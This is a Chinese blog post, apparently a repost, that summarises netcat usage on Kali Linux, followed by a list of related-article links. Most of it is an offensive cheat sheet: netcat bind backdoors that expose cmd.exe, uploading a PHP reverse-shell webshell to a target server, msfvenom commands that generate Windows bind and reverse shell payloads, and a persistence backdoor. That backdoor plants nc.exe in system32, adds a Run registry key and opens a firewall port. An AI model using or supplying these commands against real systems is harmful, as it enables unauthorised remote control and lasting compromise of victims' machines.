kali如何安装netcat_Netcat常用方法汇总
1. 基本使用
1.1 聊天工具服务端
nc -lvp 5678
客户端
nc 192.168.1.15 5678
1.2 文件传输接收端
nc -lvp 5555 > a.zip
发送端
nc 192.168.1.5 5678 < cms.zip
1.3 反向后门监听端
nc -lvp 5678
控制端
nc 192.168.1.5 5678 -e cmd.exe
2. 综合使用
2.1 结合php反向后门
控制端启动监听nc -lvp 1234
编辑php反弹shell后门,vi /usr/share/webshells/php/php-reverse-shell.php,修改 $ip和 $port 为控制端的地址和端口 将 php-reverse-shell.php 文件上传至目标服务器中,通过浏览器触发 php-reverse-shell.php 文件路径,在nc终端中的到反弹shell
2.2 结合msfvenom使用windows/shell_hidden_bind_tcp
msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=4444 –f exe > root.exe
nc 192.168.0.103 4444
windows/shell_reverse_tcp
msfvenom –p windows/shell_reverse_tcp lhost=192.168.0.107 lport=8888 –f exe > root.exe
nc -lvp 8888
2.3 做持久化后门使用
将nc.exe上传至目标服务器中指定目录msf > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32
切换到目标cmd环境
msf > shell
# 添加自启动注册表项
C:\WINDOWS> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'
添加nc出入站防火墙规则
C:\WINDOWS> netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
检查nc防火墙是否已经开放
C:\WINDOWS> netsh firewall show portopening
重启目标电脑,使用nc连接
C:\WINDOWS> nc -nv 192.168.0.101 4445
版权属于:逍遥子大表哥
按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
kali如何安装netcat_Netcat常用方法汇总相关推荐
- kali linux 安装 Mysql Can‘t read from messagefile 报错解决方案
kali linux 安装 Mysql Can't read from messagefile 报错解决方案 参考文章: (1)kali linux 安装 Mysql Can't read from ...
- Kali Linux安装第三方软件
Kali Linux安装第三方软件 在Kali Linux中,自带了许多渗透测试工具.大学霸IT达人但是,一些工具默认没有安装(如Nessus.OpenVAS),则需要用户手动安装.其中,如果软件源提 ...
- Kali Linux安装VMware Tools
Kali Linux安装VMware Tools VMware Tools可以用来实现物理机与虚拟机之间拖放文件,并且使的虚拟机更加流畅.大学霸IT达人在虚拟机VMware中安装的Kali Linux ...
- Kali Linux安装OpenVAS
Kali Linux安装OpenVAS OpenVAS是一个开放式漏洞评估系统,可以用来实施各种漏洞扫描.但是,大部分系统默认没有安装.一些用户在安装过程中,会碰到各种问题,如扫描服务丢失.初始化失败 ...
- Kali Linux安装谷歌输入法
Kali Linux安装谷歌输入法 大部分人都习惯使用搜狗输入法.很多人想在Kali Linux中安装该输入法.但是,Kali Linux安装搜狗输入法依赖项很难解决.此时,用户可以安装谷歌输入法,其 ...
- Kali Linux安装中文输入法
Kali Linux安装中文输入法 Kali Linux系统安装后,默认没有中文输入法.如果用户需要输入汉字,则需要安装中文输入法.下面将介绍安装小企鹅中文输入法,并进行配置.操作步骤如下所示: (1 ...
- Kali Linux安装谷歌浏览器
Kali Linux安装谷歌浏览器 Kali Linux默认安装的是火狐浏览器.但是,很多人习惯使用谷歌浏览器.在软件源中自带了谷歌浏览器的实验版.用户直接安装即可.默认,谷歌浏览器不允许root用户 ...
- Kali Linux安装字典StarDict
Kali Linux安装字典StarDict StartDict是国外知名的字典框架,也可以加入国内翻译工具的字典.Kali Linux软件源提供该字典框架.用户需要安装qstardict软件包和词 ...
- Kali Linux安装Google中文输入法(只需5步)
前言: 之前我在kali上安装过中文输入法,并且写了一篇博文(Kali Linux安装中文输入法全纪录),这篇博文里的步骤是当时一边摸索一边记录下的,思路有点混乱,而且还同时安装了两种输入法.今天又安 ...
最新文章
- scrapy模拟用户登录
- 技术图文:Numpy 一维数组 VS. Pandas Series
- Java泛型简介–第6部分
- node.js async await 配合Promise对象使用
- ASP.NET Web Froms开发模式中实现程序集的延迟加载
- JSP 编译原理:JSP 是 Servlet?如何用 Eclipse 查看 JSP 编译生成的 Servlet 源文件?
- IE下get传中文乱码的问题完美解决方案
- 关于jquery获取单选框value属性值为on的问题
- Android(java)学习笔记97:使用GridView以及重写BaseAdapter
- ubuntu下安装win7虚拟机总结
- 疯狂Java讲义P179单例
- 非接触式IC卡的分类(三)
- 揭秘AI创业江湖里的“师徒帮”:同门师兄弟搭档 导师坐镇后方
- 四次考研,终于上岸!反正我感觉很牛逼!
- 户用光伏数字化解决方案
- 解决ubuntu下外接2k显示器却无法调2k分辨率问题
- 算法设计:2.向下取整、向上取整符号
- Could not find parameter map com.itcast.mapper.userinfMapper.map
- 【时间处理】获取官方节假日数据的api接口,获取指定日期的节假日数据
- 读秀更新到V4.0了,会自动提醒验证码输入,支持包库全文下载
热门文章
- Python中的高阶函数sorted
- 6.Android的学习(Intent跳转页面,活动之间传递数据)
- pandas骚操作:分组对数据进行归一化
- VTK:灯动画用法实战
- JavaScript实现topologicalSort拓扑排序算法(附完整源码)
- wxWidgets:设备上下文
- boost::uuid模块实现宽流存档测试序列化 uuid的测试程序
- 使用 BOOST_PROTO_DEFINE_OPERATORS 使用非原型类型 std::vector<> 对表达式进行原型化的示例
- boost::mpl模块实现sort相关的测试程序
- boost::mp11::mp_remove相关用法的测试程序